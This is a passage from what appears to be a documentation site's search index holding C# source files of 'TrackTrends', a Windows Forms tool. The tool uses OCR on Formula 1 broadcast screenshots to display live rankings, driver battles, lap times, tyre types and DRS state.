y < oldList . Count ; y ++) { if ( newList [ y ]. Name == oldList [ i ]. Name ) { //We found its new location if ( y > i ) { //The driver overtook someone lsbResult . Items . Add ( newList [ y ]. Name + \" climbed to \" + y ); } else { //The driver got overtook by someone lsbResult . Items . Add ( newList [ y ]. Name + \" fell to \" + y ); } } } } } } } /// /// Displays a messageBox containing the infos about a lap time /// /// The name of the driver that has done the lapTime /// The number of the lap on wich the lapTime has been set (CAUTION ITS NOT THE RACING LAP ITS FROM THE DB) /// The time (in ms) of the lap public void DisplayLapTimeInfos ( string driverName , int Lap , string LapTime ) { List < int > sectors = Storage . GetSectorsFromLapTime ( driverName , Lap ); string message = \"Lap time infos\" + Environment . NewLine ; message += LapTime + Environment . NewLine ; if ( sectors . Count > 0 ) message += \"Sector 1 : \" + Reader . ConvertMsToTime ( sectors [ 0 ]) + Environment . NewLine ; if ( sectors . Count > 1 ) message += \"Sector 2 : \" + Reader . ConvertMsToTime ( sectors [ 1 ]) + Environment . NewLine ; if ( sectors . Count > 2 ) message += \"Sector 3 : \" + Reader . ConvertMsToTime ( sectors [ 2 ]) + Environment . NewLine ; MessageBox . Show ( message ); } /// /// Displays the live ranking with the names of the drivers and their gap to the leader in the right order /// /// The control that will host all the new controls /// The main form public void DisplayLiveRanking ( Panel pnl , Main form1 ) { if ( LiveDriverDataLogs . Count > 0 ) { pnl . Controls . Clear (); //Gets the last item that should be the most recent data List < DriverData > liveData = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]; Button [] buttons = new Button [ liveData . Count ]; Size buttonDimensions = new Size ( pnl . Width , pnl . Height / liveData . Count ); for ( int driverCount = 0 ; driverCount < liveData . Count ; driverCount ++) { Button newButton = new Button (); newButton . Size = buttonDimensions ; newButton . Location = new Point ( 0 , driverCount * buttonDimensions . Height ); newButton . FlatStyle = FlatStyle . Popup ; DriverData driver = liveData [ driverCount ]; if ( driver . Position == - 1 ) { //Its a DNF newButton . Enabled = false ; } if ( driver . Position > 1 ) { newButton . Text = driver . Name + \" +\" + Reader . ConvertMsToTime ( driver . GapToLeader ); } else { newButton . Text = driver . Name ; } newButton . Name = liveData [ driverCount ]. Name ; newButton . TextAlign = ContentAlignment . MiddleLeft ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Click += form1 . btnDriver_Click ; buttons [ driverCount ] = newButton ; } //Note : It could be better to have this directly in the same loop foreach ( Button button in buttons ) { pnl . Controls . Add ( button ); } } } } }","title":"DataWrapper.cs"},{"location":"Code/DataWrapper.html#datawrappercs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DataWrapper.cs /// Brief : Class that is used to interface between the main Form (vue) and the Storage (wich is a class that wraps the sqlite database, so the model) its almost MVC :D /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.Drawing ; namespace TrackTrends { internal class DataWrapper { private Reader Reader ; private SqliteStorage Storage ; List < List < DriverData >> LiveDriverDataLogs = new List < List < DriverData >>(); //Note : It could be usefull to get the mainForm at the start of the programm and not have to take it in half of the methods. /// /// Constructs a new DataWrapper. It needs the config file so it can create a Reader, It also needs a first screenshot for the same reason /// /// The JSON config file that is created by the configuration tool /// A screenshot of the public DataWrapper ( string configFile , Bitmap screenshot ) { Reader = new Reader ( configFile , screenshot , true ); //The Storage is here and on the Reader. It seems bad but it is ok as we dont use it at all to insert data and are only using it here to read some. The reader takes care of the inserts (Note: We could technically do both here but I did not find it usefull to transfer everything here) Storage = Reader . Storage ; } /// /// Refreshes the controller so it has the latest driver datas (Be sure to call it everytime you need to use any other method and expects the data to be up to date) /// /// Error code, 0 is success, 1 is not (Note: Maybe it could be interesting in the future to add some more error handling here) public int Refresh () { LiveDriverDataLogs . Add ( Reader . Decode ( Reader . MainZones , Reader . Drivers )); if ( LiveDriverDataLogs . Count > 0 ) return 0 ; return 1 ; } /// /// Changes the image to the newest screenshot in all of the zones and windows /// /// The new screenshot to put everywhere (Do not mix resolutions) public void ChangeImage ( Bitmap image ) { Reader . ChangeImage ( image ); } /// /// Gets all the data from one driver and also displays into the given panel the last five laps (or less if its the sart of the race) Note: Its responsive :D /// /// The name of the driver (should not be case sensitive but it MUST already exist in the first list that has been inserted into the DB) /// The pannel where you want the five last laps to be displayed /// The Main form. /// public DriverData GetFullDriverData ( string driverName , Panel lastFiveLapsPanel , Main form1 ) { //Note : I know that its a bad idea to ask the Form in this method and some others because it means that it wont work with any main form. And to that Ill say that... your right ! DriverData result = new DriverData (); if ( LiveDriverDataLogs . Count > 0 ) { //Searches the most recent live data from the given driverName foreach ( DriverData data in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { if ( data . Name == driverName ) result = data ; } if ( result . Name != \"\" ) { //Recovers and displays the last five laps from the driver lastFiveLapsPanel . Controls . Clear (); Size labelDimensions = new Size ( lastFiveLapsPanel . Width , lastFiveLapsPanel . Height / 5 ); List <( int LapTime , int Lap )> lapsInfos = Storage . GetDriverLaptimes ( driverName , 5 ); int id = 0 ; foreach (( int LapTime , int Lap ) lapData in lapsInfos ) { //Hardcodes the new button. //Note : It could be smart to have like a default button for all the methods to use without needing to rewrite everything. Button newButton = new Button (); lastFiveLapsPanel . Controls . Add ( newButton ); newButton . Name = driverName + \"_\" + lapData . Lap ; newButton . Text = Reader . ConvertMsToTime ( lapData . LapTime ); newButton . Size = labelDimensions ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Click += form1 . btnLapTime_Click ; newButton . Location = new Point ( 0 , id * newButton . Height ); id ++; } } } return result ; } /// /// Runs trough every drivers live data to recover the drivers that are close to each others /// /// The control that will host the displayed battles /// The main form. It needs to have a method called 'btnDriver_Click' so it can reads the buttons clicks public void DisplayBattles ( Panel pnlBattles , Main form1 ) { DriverData oldDriver = null ; List <( DriverData d1 , DriverData d2 , int gap )> battles = new List <( DriverData d1 , DriverData d2 , int gap )>(); //Search trough all the drivers and finds the one battling foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { if ( oldDriver != null && driver . Position != - 1 && oldDriver . Position != - 1 ) { if ( driver . GapToLeader < oldDriver . GapToLeader ) { //There is a problem with the drivers gaps } else { int gap = driver . GapToLeader - oldDriver . GapToLeader ; //3000ms is 3s. If drivers are that close then they are definitely in battle. If they are farther then maybe not if ( gap <= 3000 ) { battles . Add (( oldDriver , driver , gap )); } } oldDriver = driver ; } else { oldDriver = driver ; } } //We will only display 4 battles max int maxBattles = 4 ; if ( battles . Count > 0 ) { pnlBattles . Controls . Clear (); int maxUiHeight = Math . Max ( pnlBattles . Height / maxBattles , pnlBattles . Height / battles . Count ); int id = 0 ; foreach (( DriverData d1 , DriverData d2 , int gap ) battle in battles ) { if ( id < maxBattles ) { //*hardcoding* the different controls that needs to be added to the panel. //Note : this stuff could totally be handled by the Form with method returning a list of the drivers. It was just easier for me at the time to code it this way but its not the prettiest Button btnFirstDriver = new Button (); Button btnSecondDriver = new Button (); Label lblGap = new Label (); pnlBattles . Controls . Add ( btnFirstDriver ); pnlBattles . Controls . Add ( lblGap ); pnlBattles . Controls . Add ( btnSecondDriver ); btnFirstDriver . Anchor = AnchorStyles . Left | AnchorStyles . Top ; btnSecondDriver . Anchor = AnchorStyles . Right | AnchorStyles . Top ; lblGap . Anchor = AnchorStyles . Right | AnchorStyles . Left | AnchorStyles . Top ; lblGap . TextAlign = ContentAlignment . MiddleCenter ; lblGap . Font = new Font ( lblGap . Font . FontFamily , 15 ); btnFirstDriver . Click += form1 . btnDriver_Click ; btnSecondDriver . Click += form1 . btnDriver_Click ; btnFirstDriver . FlatStyle = FlatStyle . Popup ; btnSecondDriver . FlatStyle = FlatStyle . Popup ; lblGap . FlatStyle = FlatStyle . Popup ; btnFirstDriver . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); btnSecondDriver . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); lblGap . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); btnFirstDriver . Location = new Point ( pnlBattles . Width / 3 * 0 , id * maxUiHeight ); lblGap . Location = new Point ( pnlBattles . Width / 3 * 1 , id * maxUiHeight ); btnSecondDriver . Location = new Point ( pnlBattles . Width / 3 * 2 , id * maxUiHeight ); btnFirstDriver . Text = battle . d1 . Name ; lblGap . Text = \"+ \" + Reader . ConvertMsToTime ( battle . gap ); if ( battle . gap <= 2000 ) lblGap . ForeColor = Color . Yellow ; if ( battle . gap <= 1000 ) lblGap . ForeColor = Color . Green ; btnSecondDriver . Text = battle . d2 . Name ; btnFirstDriver . Name = battle . d1 . Name + \"_\" + id ; lblGap . Name = \"lbl_Gap_\" + id ; btnSecondDriver . Name = battle . d2 . Name + \"_\" + id ; } else { break ; } id ++; } } } /// /// Searches the fastest and slowests drivers and displays them in the given panels /// /// Panel that will contain the constructed controls /// Panel that will contain the constructed controls /// The main form that needs to implement the method btnDriver_Click to allow it to recover custom buttons click public void DisplayTimesDeltas ( Panel pnlFastest , Panel pnlSlowest , Main form1 ) { List <( int avg , string driverName )> averages = new List <( int avg , string driverName )>(); foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { //We want to recover the last 5 lap times List <( int lapTime , int lap )> laps = Storage . GetDriverLaptimes ( driver . Name , 5 ); if ( laps . Count > 0 ) { int avg = 0 ; foreach (( int lapTime , int lap ) lap in laps ) { avg += lap . lapTime ; } avg = avg / laps . Count ; averages . Add (( avg , driver . Name )); } } int numberOfDriversToShow = 5 ; if ( averages . Count > 0 && averages . Count > numberOfDriversToShow ) { averages = averages . OrderBy ( item => item . avg ). ToList (); pnlFastest . Controls . Clear (); pnlSlowest . Controls . Clear (); int maxUiSize = pnlFastest . Height / numberOfDriversToShow ; //Displays the fastest drivers for ( int i = 0 ; i < numberOfDriversToShow ; i ++) { Button newButton = new Button (); ( int avg , string driver ) data = averages [ i ]; pnlFastest . Controls . Add ( newButton ); newButton . Size = new Size ( pnlFastest . Width , maxUiSize ); newButton . Location = new Point ( 0 , i * maxUiSize ); newButton . Text = data . driver ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Name = data . driver + \"_fastest_\" + i ; newButton . Click += form1 . btnDriver_Click ; //We take the average time lost per lap if ( i != 0 ) newButton . Text += \" + \" + Reader . ConvertMsToTime ( Convert . ToInt32 ((( float ) data . avg - ( float ) averages [ 0 ]. avg ) / 5.0f )); } //Displays the slowests drivers int badId = 0 ; for ( int i = averages . Count - 1 ; i >= averages . Count - numberOfDriversToShow ; i --) { Button newButton = new Button (); ( int avg , string driver ) data = averages [ i ]; pnlSlowest . Controls . Add ( newButton ); newButton . Size = new Size ( pnlFastest . Width , maxUiSize ); newButton . Location = new Point ( 0 , badId * maxUiSize ); newButton . Text = data . driver ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Name = data . driver + \"_slowest_\" + i ; newButton . Click += form1 . btnDriver_Click ; //We take the average time lost per lap newButton . Text += \" + \" + Reader . ConvertMsToTime ( Convert . ToInt32 ((( float ) data . avg - ( float ) averages [ 0 ]. avg ) / 5.0f )); badId ++; } } } /// /// Will add to the list of overtakes the different changes of position /// /// The listbox containing all the infos public void DisplayOvertakes ( ListBox lsbResult ) { //Note : This method SHOULD REALLY not do this but just return a string or a list of string with the new overtakes so the form can handle it as it wishes if ( LiveDriverDataLogs . Count > 1 ) { List < DriverData > oldList = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 2 ]; List < DriverData > newList = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]; for ( int i = 0 ; i < LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]. Count ; i ++) { if ( oldList [ i ]. Name != newList [ i ]. Name ) { //There has been a change in the standings for ( int y = 0 ; y < oldList . Count ; y ++) { if ( newList [ y ]. Name == oldList [ i ]. Name ) { //We found its new location if ( y > i ) { //The driver overtook someone lsbResult . Items . Add ( newList [ y ]. Name + \" climbed to \" + y ); } else { //The driver got overtook by someone lsbResult . Items . Add ( newList [ y ]. Name + \" fell to \" + y ); } } } } } } } /// /// Displays a messageBox containing the infos about a lap time /// /// The name of the driver that has done the lapTime /// The number of the lap on wich the lapTime has been set (CAUTION ITS NOT THE RACING LAP ITS FROM THE DB) /// The time (in ms) of the lap public void DisplayLapTimeInfos ( string driverName , int Lap , string LapTime ) { List < int > sectors = Storage . GetSectorsFromLapTime ( driverName , Lap ); string message = \"Lap time infos\" + Environment . NewLine ; message += LapTime + Environment . NewLine ; if ( sectors . Count > 0 ) message += \"Sector 1 : \" + Reader . ConvertMsToTime ( sectors [ 0 ]) + Environment . NewLine ; if ( sectors . Count > 1 ) message += \"Sector 2 : \" + Reader . ConvertMsToTime ( sectors [ 1 ]) + Environment . NewLine ; if ( sectors . Count > 2 ) message += \"Sector 3 : \" + Reader . ConvertMsToTime ( sectors [ 2 ]) + Environment . NewLine ; MessageBox . Show ( message ); } /// /// Displays the live ranking with the names of the drivers and their gap to the leader in the right order /// /// The control that will host all the new controls /// The main form public void DisplayLiveRanking ( Panel pnl , Main form1 ) { if ( LiveDriverDataLogs . Count > 0 ) { pnl . Controls . Clear (); //Gets the last item that should be the most recent data List < DriverData > liveData = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]; Button [] buttons = new Button [ liveData . Count ]; Size buttonDimensions = new Size ( pnl . Width , pnl . Height / liveData . Count ); for ( int driverCount = 0 ; driverCount < liveData . Count ; driverCount ++) { Button newButton = new Button (); newButton . Size = buttonDimensions ; newButton . Location = new Point ( 0 , driverCount * buttonDimensions . Height ); newButton . FlatStyle = FlatStyle . Popup ; DriverData driver = liveData [ driverCount ]; if ( driver . Position == - 1 ) { //Its a DNF newButton . Enabled = false ; } if ( driver . Position > 1 ) { newButton . Text = driver . Name + \" +\" + Reader . ConvertMsToTime ( driver . GapToLeader ); } else { newButton . Text = driver . Name ; } newButton . Name = liveData [ driverCount ]. Name ; newButton . TextAlign = ContentAlignment . MiddleLeft ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Click += form1 . btnDriver_Click ; buttons [ driverCount ] = newButton ; } //Note : It could be better to have this directly in the same loop foreach ( Button button in buttons ) { pnl . Controls . Add ( button ); } } } } }","title":"DataWrapper.cs"},{"location":"Code/DriverDrsWindow.html","text":"DriverDrsWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverDrsWindow.cs /// Brief : Window containing DRS related method and infos /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Drawing.Imaging ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using Tesseract ; namespace TrackTrends { public class DriverDrsWindow : Window { private static int EmptyDrsGreenValue = - 1 ; private static Random rnd = new Random (); public DriverDrsWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"DRS\" ; } /// /// Method that will decode the content of the window /// /// returns a boolean (true = DRS OPEN, false = DRS CLOSED) public override object DecodePng () { bool result = false ; //DEBUG //WindowImage.Save(\"./DRS/\"+rnd.Next(0,99999)+\".png\"); int greenValue = GetGreenPixels (); if ( EmptyDrsGreenValue == - 1 ) EmptyDrsGreenValue = greenValue ; if ( greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30 ) result = true ; return result ; } /// /// Method that will get the green pixel proportion in the image, this can be used to determin if the DRS has been actuated /// /// The number of clearely green pixels private unsafe int GetGreenPixels () { int tot = 0 ; Bitmap bmp = WindowImage ; Rectangle rect = new Rectangle ( 0 , 0 , bmp . Width , bmp . Height ); BitmapData bmpData = bmp . LockBits ( rect , ImageLockMode . ReadOnly , bmp . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( bmp . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < bmp . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmp . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; if ( green > blue * 1.5 && green > red * 1.5 ) { tot ++; } } } } bmp . UnlockBits ( bmpData ); return tot ; } /// /// This method is used to lock on where exactly the DRS window is /// /// Returns a rectangle containing the DRS public Rectangle GetBox () { var tessImage = Pix . LoadFromMemory ( ImageToByte ( WindowImage )); Engine . SetVariable ( \"tessedit_char_whitelist\" , \"\" ); Page page = Engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; // Get the bounding box for the current element if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { page . Dispose (); return new Rectangle ( boundingBox . X1 , boundingBox . X2 , boundingBox . Width , boundingBox . Height ); } } while ( iter . Next ( PageIteratorLevel . Word )); page . Dispose (); return new Rectangle ( 0 , 0 , 0 , 0 ); } } } }","title":"DriverDrsWindow.cs"},{"location":"Code/DriverDrsWindow.html#driverdrswindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverDrsWindow.cs /// Brief : Window containing DRS related method and infos /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Drawing.Imaging ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using Tesseract ; namespace TrackTrends { public class DriverDrsWindow : Window { private static int EmptyDrsGreenValue = - 1 ; private static Random rnd = new Random (); public DriverDrsWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"DRS\" ; } /// /// Method that will decode the content of the window /// /// returns a boolean (true = DRS OPEN, false = DRS CLOSED) public override object DecodePng () { bool result = false ; //DEBUG //WindowImage.Save(\"./DRS/\"+rnd.Next(0,99999)+\".png\"); int greenValue = GetGreenPixels (); if ( EmptyDrsGreenValue == - 1 ) EmptyDrsGreenValue = greenValue ; if ( greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30 ) result = true ; return result ; } /// /// Method that will get the green pixel proportion in the image, this can be used to determin if the DRS has been actuated /// /// The number of clearely green pixels private unsafe int GetGreenPixels () { int tot = 0 ; Bitmap bmp = WindowImage ; Rectangle rect = new Rectangle ( 0 , 0 , bmp . Width , bmp . Height ); BitmapData bmpData = bmp . LockBits ( rect , ImageLockMode . ReadOnly , bmp . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( bmp . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < bmp . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmp . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; if ( green > blue * 1.5 && green > red * 1.5 ) { tot ++; } } } } bmp . UnlockBits ( bmpData ); return tot ; } /// /// This method is used to lock on where exactly the DRS window is /// /// Returns a rectangle containing the DRS public Rectangle GetBox () { var tessImage = Pix . LoadFromMemory ( ImageToByte ( WindowImage )); Engine . SetVariable ( \"tessedit_char_whitelist\" , \"\" ); Page page = Engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; // Get the bounding box for the current element if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { page . Dispose (); return new Rectangle ( boundingBox . X1 , boundingBox . X2 , boundingBox . Width , boundingBox . Height ); } } while ( iter . Next ( PageIteratorLevel . Word )); page . Dispose (); return new Rectangle ( 0 , 0 , 0 , 0 ); } } } }","title":"DriverDrsWindow.cs"},{"location":"Code/DriverLapTimeWindow.html","text":"DriverLapTimeWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverLapTimeWindow /// Brief : Window containing infos about the lap time of a driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverLapTimeWindow : Window { public DriverLapTimeWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"LapTime\" ; } /// /// Decodes the lap time contained in the image using OCR Tesseract /// /// The laptime in int (ms) public override object DecodePng () { int result = GetTimeFromPng ( WindowImage , OcrImage . WindowType . LapTime , Engine ); return result ; } } }","title":"DriverLapTimeWindow.cs"},{"location":"Code/DriverLapTimeWindow.html#driverlaptimewindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverLapTimeWindow /// Brief : Window containing infos about the lap time of a driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverLapTimeWindow : Window { public DriverLapTimeWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"LapTime\" ; } /// /// Decodes the lap time contained in the image using OCR Tesseract /// /// The laptime in int (ms) public override object DecodePng () { int result = GetTimeFromPng ( WindowImage , OcrImage . WindowType . LapTime , Engine ); return result ; } } }","title":"DriverLapTimeWindow.cs"},{"location":"Code/DriverPositionWindow.html","text":"DriverPositionWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverPositionWindow.cs /// Brief : Window containing infos about the position of a driver. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverPositionWindow : Window { public DriverPositionWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Position\" ; } /// /// Decodes the position number using Tesseract OCR /// /// An int representing the position of the driver (should be between 1 and 20 included) public override object DecodePng () { string ocrResult = GetStringFromPng ( WindowImage , Engine , \"0123456789\" ); int position ; try { position = Convert . ToInt32 ( ocrResult ); } catch { position = - 1 ; } return position ; } } }","title":"DriverPositionWindow.cs"},{"location":"Code/DriverPositionWindow.html#driverpositionwindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverPositionWindow.cs /// Brief : Window containing infos about the position of a driver. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverPositionWindow : Window { public DriverPositionWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Position\" ; } /// /// Decodes the position number using Tesseract OCR /// /// An int representing the position of the driver (should be between 1 and 20 included) public override object DecodePng () { string ocrResult = GetStringFromPng ( WindowImage , Engine , \"0123456789\" ); int position ; try { position = Convert . ToInt32 ( ocrResult ); } catch { position = - 1 ; } return position ; } } }","title":"DriverPositionWindow.cs"},{"location":"Code/DriverTyresWindow.html","text":"DriverTyresWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverTyresWindow.cs /// Brief : Window containing infos about a driver's tyre /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverTyresWindow : Window { private static Random rnd = new Random (); //Those are the colors I found but you can change them if they change in the future like in 2019 public static Color SOFT_TYRE_COLOR = Color . FromArgb ( 0 xff , 0 x00 , 0 x00 ); public static Color MEDIUM_TYRE_COLOR = Color . FromArgb ( 0 xf5 , 0 xbf , 0 x00 ); public static Color HARD_TYRE_COLOR = Color . FromArgb ( 0 xa4 , 0 xa5 , 0 xa8 ); public static Color INTER_TYRE_COLOR = Color . FromArgb ( 0 x00 , 0 xa4 , 0 x2e ); public static Color WET_TYRE_COLOR = Color . FromArgb ( 0 x27 , 0 x60 , 0 xa6 ); public static Color EMPTY_COLOR = Color . FromArgb ( 0 x20 , 0 x20 , 0 x20 ); public DriverTyresWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Tyres\" ; } /// /// This will decode the content of the image /// /// And object containing what was on the image public override object DecodePng () { return GetTyreInfos (); } /// /// Method that will decode whats on the image and return the tyre infos it could manage to recover /// /// A tyre object containing tyre infos private Tyre GetTyreInfos () { //DEBUG //WindowImage.Save(\"./Tyre/raw_\"+rnd.Next(0,99999)+\".png\"); Bitmap tyreZone = GetSmallBitmapFromBigOne ( WindowImage , FindTyreZone ()); Tyre . Type type = Tyre . Type . Undefined ; type = GetTyreTypeFromColor ( OcrImage . GetAvgColorFromBitmap ( tyreZone )); int laps = - 1 ; string number = GetStringFromPng ( tyreZone , Engine , \"0123456789\" , OcrImage . WindowType . Tyre ); try { laps = Convert . ToInt32 ( number ); } catch { //We could not convert the number so its a letter so its 0 laps old laps = 0 ; } //71 is the most laps an f1 race is ever going to have (mexico) so any more would be considered as bad (and remember you cant go trough a full race without making at least one pitstop) if ( laps > 75 ) laps = 0 ; return new Tyre ( type , laps ); } /// /// Finds where the important part of the image is /// /// A rectangle containing position and dimensions of the important part of the image private Rectangle FindTyreZone () { Bitmap bmp = WindowImage ; int currentPosition = bmp . Width ; int height = bmp . Height / 2 ; Color limitColor = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Color currentColor = Color . FromArgb ( 0 , 0 , 0 ); //25F Size newWindowSize = new Size ( bmp . Height - Convert . ToInt32 (( float ) bmp . Height / 100f * 25f ), bmp . Height - Convert . ToInt32 (( float ) bmp . Height / 100f * 35f )); while ( currentColor . R <= limitColor . R && currentColor . G <= limitColor . G && currentColor . B <= limitColor . B && currentPosition > 0 ) { currentPosition --; currentColor = bmp . GetPixel ( currentPosition , height ); } //Its here to let the new window include a little bit of the right int CorrectedX = currentPosition - ( newWindowSize . Width ) + Convert . ToInt32 (( float ) newWindowSize . Width / 100f * 10f ); int CorrectedY = Convert . ToInt32 (( float ) newWindowSize . Height / 100f * 35f ); if ( CorrectedX <= 0 ) return new Rectangle ( 0 , 0 , newWindowSize . Width , newWindowSize . Height ); return new Rectangle ( CorrectedX , CorrectedY , newWindowSize . Width , newWindowSize . Height ); } //This method has been created with the help of chatGPT /// /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is /// /// The color that you found /// The tyre type public Tyre . Type GetTyreTypeFromColor ( Color inputColor ) { Tyre . Type type = Tyre . Type . Undefined ; List < Color > colors = new List < Color >(); //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list //You will also need to add it below in the Tyre object's enum and add an if in the end of this method colors . Add ( SOFT_TYRE_COLOR ); colors . Add ( MEDIUM_TYRE_COLOR ); colors . Add ( HARD_TYRE_COLOR ); colors . Add ( INTER_TYRE_COLOR ); colors . Add ( WET_TYRE_COLOR ); colors . Add ( EMPTY_COLOR ); Color closestColor = colors [ 0 ]; int closestDistance = int . MaxValue ; foreach ( Color color in colors ) { int distance = Math . Abs ( color . R - inputColor . R ) + Math . Abs ( color . G - inputColor . G ) + Math . Abs ( color . B - inputColor . B ); if ( distance < closestDistance ) { closestColor = color ; closestDistance = distance ; } } //We cant use a switch as the colors cant be constants ... if ( closestColor == SOFT_TYRE_COLOR ) type = Tyre . Type . Soft ; if ( closestColor == MEDIUM_TYRE_COLOR ) type = Tyre . Type . Medium ; if ( closestColor == HARD_TYRE_COLOR ) type = Tyre . Type . Hard ; if ( closestColor == INTER_TYRE_COLOR ) type = Tyre . Type . Inter ; if ( closestColor == WET_TYRE_COLOR ) type = Tyre . Type . Wet ; if ( closestColor == EMPTY_COLOR ) return Tyre . Type . Undefined ; return type ; } } }","title":"DriverTyresWindow.cs"},{"location":"Code/DriverTyresWindow.html#drivertyreswindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverTyresWindow.cs /// Brief : Window containing infos about a driver's tyre /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverTyresWindow : Window { private static Random rnd = new Random (); //Those are the colors I found but you can change them if they change in the future like in 2019 public static Color SOFT_TYRE_COLOR = Color . FromArgb ( 0 xff , 0 x00 , 0 x00 ); public static Color MEDIUM_TYRE_COLOR = Color . FromArgb ( 0 xf5 , 0 xbf , 0 x00 ); public static Color HARD_TYRE_COLOR = Color . FromArgb ( 0 xa4 , 0 xa5 , 0 xa8 ); public static Color INTER_TYRE_COLOR = Color . FromArgb ( 0 x00 , 0 xa4 , 0 x2e ); public static Color WET_TYRE_COLOR = Color . FromArgb ( 0 x27 , 0 x60 , 0 xa6 ); public static Color EMPTY_COLOR = Color . FromArgb ( 0 x20 , 0 x20 , 0 x20 ); public DriverTyresWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Tyres\" ; } /// /// This will decode the content of the image /// /// And object containing what was on the image public override object DecodePng () { return GetTyreInfos (); } /// /// Method that will decode whats on the image and return the tyre infos it could manage to recover /// /// A tyre object containing tyre infos private Tyre GetTyreInfos () { //DEBUG //WindowImage.Save(\"./Tyre/raw_\"+rnd.Next(0,99999)+\".png\"); Bitmap tyreZone = GetSmallBitmapFromBigOne ( WindowImage , FindTyreZone ()); Tyre . Type type = Tyre . Type . Undefined ; type = GetTyreTypeFromColor ( OcrImage . GetAvgColorFromBitmap ( tyreZone )); int laps = - 1 ; string number = GetStringFromPng ( tyreZone , Engine , \"0123456789\" , OcrImage . WindowType . Tyre ); try { laps = Convert . ToInt32 ( number ); } catch { //We could not convert the number so its a letter so its 0 laps old laps = 0 ; } //71 is the most laps an f1 race is ever going to have (mexico) so any more would be considered as bad (and remember you cant go trough a full race without making at least one pitstop) if ( 